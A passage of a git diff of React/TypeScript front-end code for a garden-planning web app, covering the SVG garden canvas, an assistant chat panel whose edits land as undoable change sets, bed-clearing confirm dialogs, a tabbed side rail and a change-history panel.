const w = toWorld(o, { x: p.xCm, y: p.yCm })
return (
<g key={`pl${p.id}`}>
<text
x={w.x}
y={w.y}
textAnchor="middle"
dominantBaseline="central"
fontSize={r * 1.05}
fill="var(--color-paper)"
style={{ fontFamily: 'var(--font-heading)' }}
>
{letters.get(p.plantId) ?? '?'}
</text>
{r * s >= 34 && plant && (
<text
x={w.x}
y={w.y + r + 13 / s}
textAnchor="middle"
fontSize={11 / s}
fill="var(--p-ink-strong)"
style={{ fontFamily: 'var(--font-body)', fontWeight: 600 }}
>
{plant.name}
</text>
)}
</g>
)
})}
{selectedObject && (
<text
x={selectedObject.xCm}
y={selectedObject.yCm + rotatedHalfHeight(selectedObject) + 22 / s}
textAnchor="middle"
fontSize={12.5 / s}
fill="var(--color-accent-700)"
style={{ fontFamily: 'var(--font-body)', fontWeight: 700 }}
>
{formatSize(selectedObject.widthCm, selectedObject.heightCm, garden.unitPref)}
</text>
)}
</g>
{/* Selection: a dashed accent outline offset from the object, and —
for editors — corner handles to resize it. */}
{selectedObject && (
<g transform={objectTransform(selectedObject)}>
{selectedObject.shape === 'circle' ? (
<ellipse
rx={selectedObject.widthCm / 2 + 7 / s}
ry={selectedObject.heightCm / 2 + 7 / s}
fill="none"
stroke="var(--color-accent)"
strokeWidth={1.8 / s}
strokeDasharray={`${8 / s} ${6 / s}`}
style={{ pointerEvents: 'none' }}
/>
) : (
<rect
x={-selectedObject.widthCm / 2 - 7 / s}
y={-selectedObject.heightCm / 2 - 7 / s}
width={selectedObject.widthCm + 14 / s}
height={selectedObject.heightCm + 14 / s}
rx={16 / s}
fill="none"
stroke="var(--color-accent)"
strokeWidth={1.8 / s}
strokeDasharray={`${8 / s} ${6 / s}`}
style={{ pointerEvents: 'none' }}
/>
)}
{canEdit &&
!liveObject &&
(
[
[-1, -1],
[1, -1],
[1, 1],
[-1, 1],
] as const
).map(([cx, cy]) => (
<rect
key={`${cx},${cy}`}
x={cx * (selectedObject.widthCm / 2 + 7 / s) - handlePx / 2 / s}
y={cy * (selectedObject.heightCm / 2 + 7 / s) - handlePx / 2 / s}
width={handlePx / s}
height={handlePx / s}
rx={2 / s}
fill="var(--color-neutral-100)"
stroke="var(--color-accent)"
strokeWidth={1.5 / s}
style={{ cursor: cx * cy > 0 ? 'nwse-resize' : 'nesw-resize' }}
onPointerDown={handleDown(selectedObject, cx, cy)}
/>
))}
</g>
)}
{ghost && armedKind && (() => {
const def = kindDef(armedKind)
if (!def) return null
const st = objectStyle({ kind: def.kind })
return (
<g transform={`translate(${ghost.x} ${ghost.y})`} opacity={0.55} style={{ pointerEvents: 'none' }}>
{def.shape === 'circle' ? (
<circle r={def.widthCm / 2} fill={st.fill} stroke="var(--color-accent)" strokeWidth={2 / s} strokeDasharray={`${7 / s} ${5 / s}`} />
) : (
<rect
x={-def.widthCm / 2}
y={-def.heightCm / 2}
width={def.widthCm}
height={def.heightCm}
rx={12}
fill={st.fill}
stroke="var(--color-accent)"
strokeWidth={2 / s}
strokeDasharray={`${7 / s} ${5 / s}`}
/>
)}
</g>
)
})()}
</g>
</svg>
</div>
)
})
-278
View File
@@ -1,278 +0,0 @@
import { Component, Suspense, useEffect, useRef, useState, type ReactNode } from 'react'
import { Alert } from '@/components/ui/Alert'
import { errorMessage } from '@/lib/api'
import { Button } from '@/components/ui/Button'
import { TextArea } from '@/components/ui/TextArea'
import { cn } from '@/lib/cn'
import {
describeStep,
streamChat,
useAgentHistory,
useAgentRefresh,
useClearAgentHistory,
type AgentStep,
type AgentTurn,
} from '@/lib/agent'
import { useUndo } from '@/lib/history'
import { lazyPage } from '@/lib/lazyPage'
import { UndoButton } from './UndoButton'
// Lazy so the markdown renderer + its ecosystem (~150 KB) loads only when an
// assistant message actually renders, not for everyone who opens the editor.
// lazyPage adds the stale-chunk recovery a plain lazy() lacks — a post-deploy
// chunk 404 would otherwise permanently break the assistant.
const MarkdownMessage = lazyPage(() => import('./MarkdownMessage'), 'MarkdownMessage')
/**
* Falls back to the raw message text if the markdown chunk can't load (a
* non-recoverable 404) or the renderer throws — a garbled reply should degrade to
* readable text, never take the whole editor down. Suspense handles the loading
* phase; this handles the failure one.
*/
class MarkdownBoundary extends Component<{ fallback: ReactNode; children: ReactNode }, { failed: boolean }> {
state = { failed: false }
static getDerivedStateFromError() {
return { failed: true }
}
render() {
return this.state.failed ? this.props.fallback : this.props.children
}
}
/**
* Talk to the garden assistant, in the editor beside the canvas.
*
* Here rather than on its own page because watching the garden change as the
* agent works IS the confirmation — which is what makes acting without asking
* first tolerable. It also means the agent never has to guess which garden you
* mean.
*/
export function ChatPanel({ gardenId, canEdit }: { gardenId: number; canEdit: boolean }) {
const history = useAgentHistory(gardenId, true)
const clear = useClearAgentHistory(gardenId)
const refresh = useAgentRefresh(gardenId)
const undo = useUndo(gardenId)
const [input, setInput] = useState('')
// The turn in flight: what we sent, the steps so far, and how it ended.
const [pending, setPending] = useState<{ message: string; steps: AgentStep[] } | null>(null)
const [error, setError] = useState<string | null>(null)
const [warning, setWarning] = useState<string | null>(null)
const abort = useRef<AbortController | null>(null)
const bottom = useRef<HTMLDivElement>(null)
// Deliberately NOT aborted on unmount. Selecting an object auto-switches the
// rail to the inspector, so aborting here would mean clicking the canvas
// mid-turn silently killed the turn — and the canvas is exactly what you're
// meant to be watching. The request continues, the exchange is persisted
// server-side, and coming back to this tab shows it. Only Stop aborts, and
// even that only stops us READING: the turn keeps running server-side, which
// is why its work still lands in History either way.
// Follow the conversation as it grows, including mid-turn as steps arrive.
useEffect(() => {
bottom.current?.scrollIntoView({ behavior: 'smooth', block: 'end' })
}, [history.data, pending])
const send = () => {
const message = input.trim()
if (!message || pending) return
setInput('')
setError(null)
setWarning(null)
setPending({ message, steps: [] })
const controller = new AbortController()
abort.current = controller
void streamChat(
gardenId,
message,
{
onStep: (step) => {
setPending((p) => (p ? { ...p, steps: [...p.steps, step] } : p))
// The canvas updating under the conversation is the whole point of
// putting the chat here, so refresh it as each step lands — but only
// it: nothing else can have changed until the turn commits.
refresh.canvas()
},
onDone: (turn: AgentTurn) => {
setPending(null)
refresh.everything()
if (turn.truncated) {
setError('That turned into more steps than I should take at once — check what changed before continuing.')
}
},
onWarning: setWarning,
onError: (message) => {
setPending(null)
setError(message)
// Something may still have landed before it failed.
refresh.everything()
},
},
controller.signal,
)
}
const messages = history.data ?? []
return (
<div className="flex h-full flex-col gap-3">
<div className="flex items-center justify-between gap-2">
<h2 className="text-sm font-semibold text-fg">Assistant</h2>
{messages.length > 0 && (
<button
type="button"
onClick={() =>
clear.mutate(undefined, {
onError: (err) => setError(errorMessage(err, "Couldn't clear the conversation.")),
})
}
disabled={clear.isPending || !!pending}
className="rounded px-1.5 py-0.5 text-xs text-muted outline-none hover:text-fg focus-visible:ring-2 focus-visible:ring-accent/40 disabled:opacity-50"
>
Start over
</button>
)}
</div>
{!canEdit && (
<p className="rounded-md bg-border/40 px-2 py-1 text-xs text-muted">
You can only view this garden, so the assistant can't change anything in it.
</p>
)}
<div className="flex min-h-0 flex-1 flex-col gap-3 overflow-y-auto">
{history.isPending && <p className="text-sm text-muted">Loading the conversation…</p>}
{/* A failed load rendering as an empty thread would look like the
conversation had been lost, which is a much worse thing to believe. */}
{history.isError && (
<Alert>{errorMessage(history.error, "Couldn't load the conversation.")}</Alert>
)}
{history.isSuccess && messages.length === 0 && !pending && (
<p className="text-sm text-muted">
Ask for what you want and it'll do it — “change the garlic bed to cucumbers this year”, “fill the
north half of the west bed with beans”, “what's in here?”. Everything it does lands as one change you
can undo.
</p>
)}
{messages.map((m) => (
<Bubble key={m.id} role={m.role} body={m.body}>
{/* Undo on the turn itself, so the common case never involves
opening the History panel. Same hook #49 uses, not a second
implementation. */}
{m.role === 'assistant' && m.changeSetId != null && canEdit && (
<UndoButton changeSet={{ id: m.changeSetId }} undo={undo} className="mt-1 items-start" />
)}
</Bubble>
))}
{pending && (
<>
<Bubble role="user" body={pending.message} />
<div className="rounded-lg border border-border px-2.5 py-2 text-sm">
<ol className="flex flex-col gap-0.5">
{pending.steps.map((s) => (
<li key={s.index} className="text-xs text-muted">
{describeStep(s)}…
</li>
))}
</ol>
<p className="mt-1 flex items-center gap-1.5 text-xs text-muted">
<span className="inline-block h-1.5 w-1.5 animate-pulse rounded-full bg-accent" />
{pending.steps.length === 0 ? 'Thinking…' : 'Working…'}
</p>
</div>
</>
)}
{warning && <Alert tone="info">{warning}</Alert>}
{error && <Alert>{error}</Alert>}
<div ref={bottom} />
</div>
<div className="flex flex-col gap-2 border-t border-border pt-2">
<TextArea
label="Message"
name="agentMessage"
rows={2}
placeholder="Change the garlic bed to cucumbers this year"
value={input}
disabled={!!pending}
onChange={(e) => setInput(e.target.value)}
onKeyDown={(e) => {
// Enter sends, Shift+Enter breaks the line — the convention every
// chat box uses, and typing a newline by accident mid-thought is a
// worse failure than the reverse.
if (e.key === 'Enter' && !e.shiftKey) {
e.preventDefault()
send()
}
}}
/>
<div className="flex justify-end gap-2">
{pending && (
<Button
variant="ghost"
className="px-2 py-1 text-xs"
onClick={() => {
abort.current?.abort()
setPending(null)
refresh.everything()
}}
>
Stop
</Button>
)}
<Button className="px-3 py-1.5 text-sm" disabled={!!pending || input.trim() === ''} onClick={send}>
{pending ? 'Working…' : 'Send'}
</Button>
</div>
</div>
</div>
)
}
function Bubble({
role,
body,
children,
}: {
role: 'user' | 'assistant'
body: string
children?: ReactNode
}) {
const mine = role === 'user'
return (
<div className={cn('flex flex-col', mine ? 'items-end' : 'items-start')}>
<div
className={cn(
'rounded-lg px-2.5 py-2 text-sm',
// The user's own text is literal (their `*` shouldn't become a bullet)
// and hugs the right; the assistant's Markdown is rendered and gets the
// full width so a table has room.
mine
? 'max-w-[90%] whitespace-pre-wrap bg-accent/15 text-fg'
: 'w-full border border-border text-fg',
)}
>
{mine ? (
body
) : (
// Show the raw text until the renderer chunk arrives (Suspense), and fall
// back to it if the chunk can't load or the renderer throws (boundary) —
// either way the message is readable, never blank and never a crash.
<MarkdownBoundary fallback={<span className="whitespace-pre-wrap">{body}</span>}>
<Suspense fallback={<span className="whitespace-pre-wrap">{body}</span>}>
<MarkdownMessage>{body}</MarkdownMessage>
</Suspense>
</MarkdownBoundary>
)}
</div>
{children}
</div>
)
}
+35
View File
@@ -0,0 +1,35 @@
import { ConfirmDialog } from '@/components/ui/ConfirmDialog'
import { useClearObject } from '@/lib/objects'
/** Confirm clearing every active plop from a bed — a soft remove (the rows are
* kept with removed_at, so history and past seasons survive), as one step. */
export function ClearBedDialog({
objectId,
objectName,
plopCount,
gardenId,
onClose,
}: {
objectId: number
objectName: string
plopCount: number
gardenId: number
onClose: () => void
}) {
const clear = useClearObject(gardenId)
return (
<ConfirmDialog
title={`Clear ${objectName}?`}
confirmLabel="Clear it"
busyLabel="Clearing…"
confirmDisabled={plopCount === 0}
errorFallback="Could not clear the bed."
onConfirm={() => clear.mutateAsync(objectId)}
onClose={onClose}
>
Pull all <span className="font-semibold text-text">{plopCount}</span> {plopCount === 1 ? 'planting' : 'plantings'} out
of <span className="font-semibold text-text">{objectName}</span>. They stay in the journal and past seasons, and this
is one undoable step.
</ConfirmDialog>
)
}
-37
View File
@@ -1,37 +0,0 @@
import { ConfirmModal } from '@/components/ui/ConfirmModal'
import { useClearObject } from '@/lib/objects'
/** Confirm clearing every active plop from a focused bed (soft-remove — the rows
* are kept with removed_at, so history survives). */
export function ClearBedModal({
objectId,
objectName,
plopCount,
gardenId,
onClose,
}: {
objectId: number
objectName: string
plopCount: number
gardenId: number
onClose: () => void
}) {
const clear = useClearObject(gardenId)
return (
<ConfirmModal
title="Clear bed"
confirmLabel="Clear bed"
busyLabel="Clearing…"
confirmDisabled={plopCount === 0}
errorFallback="Could not clear the bed."
onConfirm={() => clear.mutateAsync(objectId)}
onClose={onClose}
>
<p className="text-sm text-muted">
Remove all <span className="font-medium text-fg">{plopCount}</span>{' '}
{plopCount === 1 ? 'plant' : 'plants'} from{' '}
<span className="font-medium text-fg">{objectName}</span>? They're marked removed but kept in history.
</p>
</ConfirmModal>
)
}
-18
View File
@@ -1,18 +0,0 @@
import type { ReactNode } from 'react'
import { cn } from '@/lib/cn'
/** A non-interactive hint overlaid on the canvas (empty-state guidance). */
export function EditorHint({ position = 'center', children }: { position?: 'center' | 'top'; children: ReactNode }) {
return (
<div
className={cn(
'pointer-events-none absolute flex p-6 text-center',
position === 'top' ? 'inset-x-0 top-16 justify-center' : 'inset-0 items-center justify-center',
)}
>
<p className="max-w-xs rounded-lg bg-surface/85 px-4 py-3 text-sm text-muted shadow-sm backdrop-blur">
{children}
</p>
</div>
)
}
-105
View File
@@ -1,105 +0,0 @@
import type { ReactNode } from 'react'
import { cn } from '@/lib/cn'
/**
* The editor's side rail, and the answer to "four things want one rail".
*
* The inspector, history, journal, and (later) the chat panel all want the same
* strip of screen. Rather than each bolting on its own chrome, they are tabs in
* one rail — which keeps the canvas one width instead of a different
* width per panel, and means adding the journal or chat is adding a tab.
*
* Two constraints shaped it:
*
* - Selecting an object must land you in the inspector with no extra click.
* The editor watches the selection and switches to that tab itself, so the
* rail never becomes a thing you have to operate before you can edit.
* - The canvas has to stay worth watching while the agent edits it, so the rail
* closes completely when nothing needs it.
*
* Layout differs by breakpoint. Desktop: a fixed 20rem column beside the canvas.
* Phone: an in-flow PEEK (#101) — a capped-height panel the editor's flex column
* places BETWEEN the canvas and the always-visible mode bar, so the canvas
* shrinks to keep the garden visible above it and the mode bar reachable below,
* rather than a bottom sheet that covered the whole garden. `tall` raises that
* cap for panel modes (journal/history/assistant), where reading and typing are
* the task and a half-height peek felt cramped; the inspector keeps the shorter
* peek so the canvas it describes stays in view.
*/
export interface RailTab {
id: string
label: string
/** Rendered lazily: only the active tab's content is built. */
render: () => ReactNode
/** Shown as a dot on the tab — a count, or true for a plain marker. */
badge?: number | boolean
}
export function EditorRail({
tabs,
activeId,
onActivate,
onClose,
tall = false,
}: {
tabs: RailTab[]
activeId: string
onActivate: (id: string) => void
onClose: () => void
/** Raise the mobile peek's height cap (panel modes want the room). */
tall?: boolean
}) {
const active = tabs.find((t) => t.id === activeId) ?? tabs[0]
if (!active) return null
return (
<div
className={cn(
// Phone: an in-flow PEEK — a capped-height panel that sits between the
// canvas and the always-visible mode bar (the editor's flex column places
// it there), so the garden stays visible above it and the mode bar stays
// reachable below. The canvas flexes to fill whatever's left. Desktop: a
// fixed-width column beside the canvas (the cap doesn't apply there).
'flex min-h-0 shrink-0 flex-col rounded-t-xl border-t border-border bg-surface shadow-lg',
// dvh, not vh: the enclosing editor column is dvh-bounded, and on mobile
// Safari/Chrome vh is the *largest* viewport, so a vh cap could overrun the
// visible area and shove the mode bar off-screen (same #85 reasoning).
tall ? 'max-h-[78dvh]' : 'max-h-[50dvh]',
'md:static md:max-h-none md:w-80 md:rounded-xl md:border md:shadow-sm',
)}
>
<div className="flex items-center gap-1 border-b border-border px-2 py-1.5">
{tabs.map((tab) => (
<button
key={tab.id}
type="button"
onClick={() => onActivate(tab.id)}
aria-current={tab.id === active.id ? 'page' : undefined}
className={cn(
'flex items-center gap-1.5 rounded-md px-2.5 py-1 text-sm font-medium outline-none transition-colors',
'focus-visible:ring-2 focus-visible:ring-accent/40',
tab.id === active.id ? 'bg-border/60 text-fg' : 'text-muted hover:text-fg',
)}
>
{tab.label}
{tab.badge != null && tab.badge !== false && tab.badge !== 0 && (
<span className="rounded-full bg-accent/20 px-1.5 text-[10px] font-semibold text-accent-strong">
{tab.badge === true ? '•' : tab.badge}
</span>
)}
</button>
))}
<button
type="button"
onClick={onClose}
aria-label="Close panel"
className="ml-auto rounded px-1.5 text-sm text-muted outline-none hover:text-fg focus-visible:ring-2 focus-visible:ring-accent/40"
>
</button>
</div>
<div className="min-h-0 flex-1 overflow-y-auto p-4">{active.render()}</div>
</div>
)
}
-340
View File
@@ -1,340 +0,0 @@
import { useEffect, useId, useMemo, useRef, useState, type PointerEvent as ReactPointerEvent } from 'react'
import {
screenToWorld,
snapLocalToBedGrid,
snapPoint,
visibleGridStepCm,
worldToLocal,
type Rect,
type Size,
} from '@/lib/geometry'
import { formatCm, type UnitPref } from '@/lib/units'
import { useCreateObject, useCreatePlanting } from '@/lib/objects'
import type { Plant } from '@/lib/plants'
import type { EditorPlanting } from '@/lib/plantings'
import { ObjectShape } from './ObjectShape'
import { PlopLayer } from './PlopLayer'
import { PlopOverlay } from './PlopOverlay'
import { SelectionOverlay } from './SelectionOverlay'
import { kindDef } from './kinds'
import { DIMMED_OPACITY, objectTransform } from './shared'
import { useEditorStore } from './store'
import { useViewport } from './useViewport'
import type { EditorGarden, EditorObject } from './types'
const GRID_MIN_CELL_PX = 6
const GRID_OPACITY = 0.18
const OVERLAY_BADGE_CLASS = 'rounded-md bg-surface/80 px-2 py-1 text-xs text-muted backdrop-blur'
const BED_GRID_MAX_LINES = 200 // safety cap on lines drawn inside one bed
/**
* What to tell the user about the grid they're looking at, or null when the
* drawn lines are simply the garden's own grid and need no explanation. Two
* states are worth naming rather than leaving them to infer: lines drawn every
* Nth grid cell (the grid was too fine to draw at this zoom), and — degenerate —
* a grid so fine no multiple of it is drawable, which matters most when snapping
* is on and would otherwise be invisibly active (#47).
*/
function gridNoteFor(
drawnCm: number | null,
gridCm: number,
snapToGrid: boolean,
unit: UnitPref,
): string | null {
if (drawnCm == null) return snapToGrid ? 'grid too fine to draw — zoom in' : null
if (drawnCm === gridCm) return null
return `grid every ${formatCm(drawnCm, unit)}`
}
/** The world-space bounds rect of an object (center + size → top-left rect). */
function objectRect(o: EditorObject): Rect {
return { x: o.xCm - o.widthCm / 2, y: o.yCm - o.heightCm / 2, w: o.widthCm, h: o.heightCm }
}
/** Grid-line offsets (from a bed's top-left corner, in the object-local frame)
* for a bed of the given half-extents and grid step. Starts at the corner so the
* lines match snapLocalToBedGrid, and is capped so a tiny grid on a big bed can't
* emit thousands of lines. Returns cm offsets along one axis. */
function bedGridLines(half: number, step: number): number[] {
if (!(step > 0) || (2 * half) / step > BED_GRID_MAX_LINES) return []
const lines: number[] = []
for (let v = -half; v <= half + 1e-6; v += step) lines.push(v)
return lines
}
/**
* The editor canvas. Pan/zoom/pinch, tap-to-place objects, select+move/resize/
* rotate an object, and — the #15 core — focus into a plantable object to place,
* move, resize and remove plops with semantic-zoom rendering. The object/plop
* being dragged renders from liveObject/livePlanting for instant feedback; the
* PATCH fires on release.
*/
export function GardenCanvas({
garden,
objects,
plantings,
plantsById,
canEdit,
}: {
garden: EditorGarden
objects: EditorObject[]
plantings: EditorPlanting[]
plantsById: Map<number, Plant>
canEdit: boolean
}) {
const svgRef = useRef<SVGSVGElement>(null)
const containerRef = useRef<HTMLDivElement>(null)
const [size, setSize] = useState<Size>({ w: 0, h: 0 })
const fitKeyRef = useRef<string | null>(null)
const gridId = 'garden-grid-' + useId().replace(/:/g, '')
const viewport = useEditorStore((s) => s.viewport)
const selectedId = useEditorStore((s) => s.selectedId)
const select = useEditorStore((s) => s.select)
const selectedPlantingId = useEditorStore((s) => s.selectedPlantingId)
const selectPlanting = useEditorStore((s) => s.selectPlanting)
const focusedObjectId = useEditorStore((s) => s.focusedObjectId)
const setFocusedObject = useEditorStore((s) => s.setFocusedObject)
const armedPlant = useEditorStore((s) => s.armedPlant)
const armedLotId = useEditorStore((s) => s.armedLotId)
const liveObject = useEditorStore((s) => s.liveObject)
const livePlanting = useEditorStore((s) => s.livePlanting)
const { fitToRect } = useViewport(svgRef)
const createObject = useCreateObject(garden.id)
const createPlanting = useCreatePlanting(garden.id)
const gardenRect: Rect = useMemo(
() => ({ x: 0, y: 0, w: garden.widthCm, h: garden.heightCm }),
[garden.widthCm, garden.heightCm],
)
useEffect(() => {
const el = containerRef.current
if (!el) return
const ro = new ResizeObserver(([entry]) => setSize({ w: entry.contentRect.width, h: entry.contentRect.height }))
ro.observe(el)
return () => ro.disconnect()
}, [])
// Single fit mechanism: frame the focused object, else the whole garden, and
// animate whenever that target (or the garden) changes. The key guard stops a
// refit on unrelated re-renders (a plop add, a bed drag).
useEffect(() => {
if (size.w === 0 || size.h === 0 || garden.widthCm === 0 || garden.heightCm === 0) return
const key = `${garden.id}:${focusedObjectId}`
if (fitKeyRef.current === key) return
const target = focusedObjectId != null ? objects.find((o) => o.id === focusedObjectId) : undefined
if (focusedObjectId != null && !target) return // object not loaded yet; try again when it is
fitKeyRef.current = key
fitToRect(target ? objectRect(target) : gardenRect, size)
}, [size, garden.id, garden.widthCm, garden.heightCm, focusedObjectId, objects, gardenRect, fitToRect])
// Draw the true grid when its cells are legible, else the coarsest-but-smallest
// multiple of it that is (see visibleGridStepCm). Snapping still uses gridCm —
// the drawn lines are a subset of the snap positions, never a different grid.
const gridCm = garden.gridSizeCm
const drawnGridCm = visibleGridStepCm(gridCm, viewport.scale, GRID_MIN_CELL_PX)
const gridNote = gridNoteFor(drawnGridCm, gridCm, garden.snapToGrid, garden.unitPref)
const sorted = useMemo(() => [...objects].sort((a, b) => a.zIndex - b.zIndex), [objects])
const rendered = useMemo(
() => (liveObject ? sorted.map((o) => (o.id === liveObject.id ? liveObject : o)) : sorted),
[sorted, liveObject],
)
// Merge the in-flight live plop over the active list, same as liveObject.
const renderedPlops = useMemo(
() => (livePlanting ? plantings.map((p) => (p.id === livePlanting.id ? livePlanting : p)) : plantings),
[plantings, livePlanting],
)
const selectedObject = rendered.find((o) => o.id === selectedId) ?? null
const selectedPlop = renderedPlops.find((p) => p.id === selectedPlantingId) ?? null
const selectedPlopObject = selectedPlop ? rendered.find((o) => o.id === selectedPlop.objectId) ?? null : null
const focusedObject = focusedObjectId != null ? rendered.find((o) => o.id === focusedObjectId) ?? null : null
// A pointerdown reaching the svg is empty space: place the armed object kind,
// or exit focus mode, or just deselect.
function onCanvasPointerDown(e: ReactPointerEvent) {
const armed = useEditorStore.getState().armedKind
// Defense in depth: a viewer can't place objects even if a stale armed kind
// slipped through (the palette isn't rendered for them).
if (armed && canEdit) {
useEditorStore.getState().setArmedKind(null)
const def = kindDef(armed)
const rect = svgRef.current?.getBoundingClientRect()
if (!def || !rect) return
let world = screenToWorld({ x: e.clientX - rect.left, y: e.clientY - rect.top }, viewport)
// Snap the new object's center to the garden grid when the garden opts in.
if (garden.snapToGrid) world = snapPoint(world, gridCm)
createObject.mutate(
{ kind: def.kind, shape: def.shape, xCm: world.x, yCm: world.y, widthCm: def.widthCm, heightCm: def.heightCm, zIndex: def.defaultZ },
{ onSuccess: (o) => select(o.id) },
)
return
}
// Empty-space tap while focused exits focus (and any placement); otherwise
// just clears the selection.
if (focusedObjectId != null) {
setFocusedObject(null)
useEditorStore.getState().setArmedPlant(null)
}
select(null)
selectPlanting(null)
}
// Drop a plop where the user taps inside the focused object (placement stays
// armed for repeat-placement until Escape / Done).
function onPlace(e: ReactPointerEvent) {
e.stopPropagation()
if (!canEdit || !focusedObject || !armedPlant || !focusedObject.plantable) return
const rect = svgRef.current?.getBoundingClientRect()
if (!rect) return
const world = screenToWorld({ x: e.clientX - rect.left, y: e.clientY - rect.top }, viewport)
const local = worldToLocal(world, { x: focusedObject.xCm, y: focusedObject.yCm }, focusedObject.rotationDeg)
// snapLocalToBedGrid clamps to the bed either way; step 0 (snapping off) makes
// it a pure clamp, so both paths go through one helper.
const { x, y } = snapLocalToBedGrid(
local,
focusedObject.snapToGrid ? focusedObject.gridSizeCm : 0,
focusedObject.widthCm / 2,
focusedObject.heightCm / 2,
)
const radiusCm = Math.max(1.5 * armedPlant.spacingCm, 15)
// Stay armed for repeat-placement; don't select (the placement sheet covers
// the object, so a selection would be hidden until placement ends anyway).
createPlanting.mutate({
objectId: focusedObject.id,
plantId: armedPlant.id,
xCm: x,
yCm: y,
radiusCm,
seedLotId: armedLotId ?? undefined,
})
}
const halfFW = focusedObject ? focusedObject.widthCm / 2 : 0
const halfFH = focusedObject ? focusedObject.heightCm / 2 : 0
// Draw the bed's own grid inside a focused plantable bed that has snapping on,
// so the user sees exactly where plants will land. Lines are in the bed's local
// frame (origin at center), anchored to the corner to match snapLocalToBedGrid.
// Memoized so a high-frequency plop drag (which re-renders the canvas on every
// pointermove) doesn't rebuild the line arrays each frame. null when the focused
// object isn't a snapping plantable bed.
const bedGrid = useMemo(() => {
if (!focusedObject || !focusedObject.plantable || !focusedObject.snapToGrid) return null
return {
v: bedGridLines(focusedObject.widthCm / 2, focusedObject.gridSizeCm),
h: bedGridLines(focusedObject.heightCm / 2, focusedObject.gridSizeCm),
}
}, [focusedObject])
return (
<div ref={containerRef} className="relative h-full w-full overflow-hidden rounded-xl border border-border bg-bg">
<svg
ref={svgRef}
className="h-full w-full select-none"
style={{ touchAction: 'none' }}
onPointerDown={onCanvasPointerDown}
// role="application" tells a screen reader this is an interactive canvas
// to operate, not a document to read linearly. The <title> names it, and
// objects inside are individually focusable buttons (see ObjectShape).
role="application"
aria-label={`${garden.name} — garden layout. Tab between objects; Enter selects; arrow keys nudge a selection.`}
>
<title>{garden.name} garden layout</title>
<g transform={`translate(${viewport.tx} ${viewport.ty}) scale(${viewport.scale})`}>
{drawnGridCm != null && (
<>
<defs>
<pattern id={gridId} width={drawnGridCm} height={drawnGridCm} patternUnits="userSpaceOnUse">
<path d={`M ${drawnGridCm} 0 L 0 0 0 ${drawnGridCm}`} fill="none" stroke="#808080" strokeOpacity={GRID_OPACITY} strokeWidth={1} vectorEffect="non-scaling-stroke" />
</pattern>
</defs>
<rect x={0} y={0} width={garden.widthCm} height={garden.heightCm} fill={`url(#${gridId})`} />
</>
)}
<rect x={0} y={0} width={garden.widthCm} height={garden.heightCm} fill="none" stroke="#3f8f4f" strokeOpacity={0.7} strokeWidth={1.5} vectorEffect="non-scaling-stroke" />
{rendered.map((o) => (
<g key={o.id} opacity={focusedObjectId != null && focusedObjectId !== o.id ? DIMMED_OPACITY : 1}>
<ObjectShape object={o} selected={o.id === selectedId} onSelect={select} />
</g>
))}
{focusedObject && bedGrid && (
<g transform={objectTransform(focusedObject)} pointerEvents="none">
{bedGrid.v.map((x) => (
<line key={`v${x}`} x1={x} y1={-halfFH} x2={x} y2={halfFH} stroke="#3f8f4f" strokeOpacity={0.3} strokeWidth={1} vectorEffect="non-scaling-stroke" />
))}
{bedGrid.h.map((y) => (
<line key={`h${y}`} x1={-halfFW} y1={y} x2={halfFW} y2={y} stroke="#3f8f4f" strokeOpacity={0.3} strokeWidth={1} vectorEffect="non-scaling-stroke" />
))}
</g>
)}
<PlopLayer
objects={rendered}
plantings={renderedPlops}
plantsById={plantsById}
scale={viewport.scale}
focusedObjectId={focusedObjectId}
selectedPlantingId={selectedPlantingId}
onSelectPlop={selectPlanting}
/>
{/* Edit handles are mounted only for editors/owners; viewers can still
select to inspect (read-only), but never move/resize. */}
{canEdit && selectedObject && (
<SelectionOverlay
object={selectedObject}
gardenId={garden.id}
svgRef={svgRef}
snap={garden.snapToGrid}
gridCm={gridCm}
/>
)}
{canEdit && selectedPlop && selectedPlopObject && (
<PlopOverlay
plop={selectedPlop}
object={selectedPlopObject}
gardenId={garden.id}
svgRef={svgRef}
snap={selectedPlopObject.snapToGrid}
gridCm={selectedPlopObject.gridSizeCm}
/>
)}
{/* Placement capture: a transparent sheet over the focused object while a
plant is armed, so taps drop plops instead of selecting the object. */}
{canEdit && focusedObject && armedPlant && focusedObject.plantable && (
<g transform={objectTransform(focusedObject)}>
<rect
x={-halfFW}
y={-halfFH}
width={halfFW * 2}
height={halfFH * 2}
fill="transparent"
pointerEvents="all"
style={{ cursor: 'crosshair' }}
onPointerDown={onPlace}
/>
</g>
)}
</g>
</svg>
<div className="pointer-events-none absolute left-3 top-3 flex flex-col items-start gap-1">
<span className={OVERLAY_BADGE_CLASS}>{viewport.scale.toFixed(2)} px/cm</span>
{gridNote && <span className={OVERLAY_BADGE_CLASS}>{gridNote}</span>}
</div>
<button
type="button"
onClick={() => size.w > 0 && fitToRect(gardenRect, size)}
className="absolute bottom-3 right-3 rounded-md border border-border bg-surface/90 px-3 py-1.5 text-sm font-medium text-fg shadow-sm outline-none backdrop-blur transition-colors hover:bg-border/50 focus-visible:ring-2 focus-visible:ring-accent/40"
>
Fit
</button>
</div>
)
}
-146
View File
@@ -1,146 +0,0 @@
import { Alert } from '@/components/ui/Alert'
import { Button } from '@/components/ui/Button'
import { errorMessage } from '@/lib/api'
import { describeCounts, totalChanges, useGardenHistory, useUndo, type ChangeSet } from '@/lib/history'
import { cn } from '@/lib/cn'
import { UndoButton } from './UndoButton'
/**
* The garden's change history, newest first, with an undo on each entry.
*
* A reverted entry stays in the list, marked — and the revert appears as its own
* entry, because that is what it is. Making the original disappear would be
* rewriting history rather than adding to it, and would leave no way to undo the
* undo.
*/
export function HistoryPanel({ gardenId, canEdit }: { gardenId: number; canEdit: boolean }) {
const history = useGardenHistory(gardenId)
const undo = useUndo(gardenId)
const sets = history.data?.pages.flatMap((p) => p.changeSets) ?? []
return (
<div className="flex flex-col gap-3">
<h2 className="text-sm font-semibold text-fg">History</h2>
{history.isPending && <p className="text-sm text-muted">Loading</p>}
{history.isError && sets.length === 0 && (
<Alert>{errorMessage(history.error, 'Could not load history.')}</Alert>
)}
{history.isSuccess && sets.length === 0 && (
<p className="text-sm text-muted">
Nothing yet. Every change you make here shows up in this list, and can be undone from it.
</p>
)}
<ol className="flex flex-col gap-2">
{sets.map((cs) => (
<HistoryEntry key={cs.id} changeSet={cs} canEdit={canEdit} undo={undo} />
))}
</ol>
{history.hasNextPage && (
<>
<Button
variant="ghost"
className="text-sm"
disabled={history.isFetchingNextPage}
onClick={() => void history.fetchNextPage()}
>
{history.isFetchingNextPage ? 'Loading…' : 'Load older'}
</Button>
{/* isError stays true for a failed page even though earlier pages
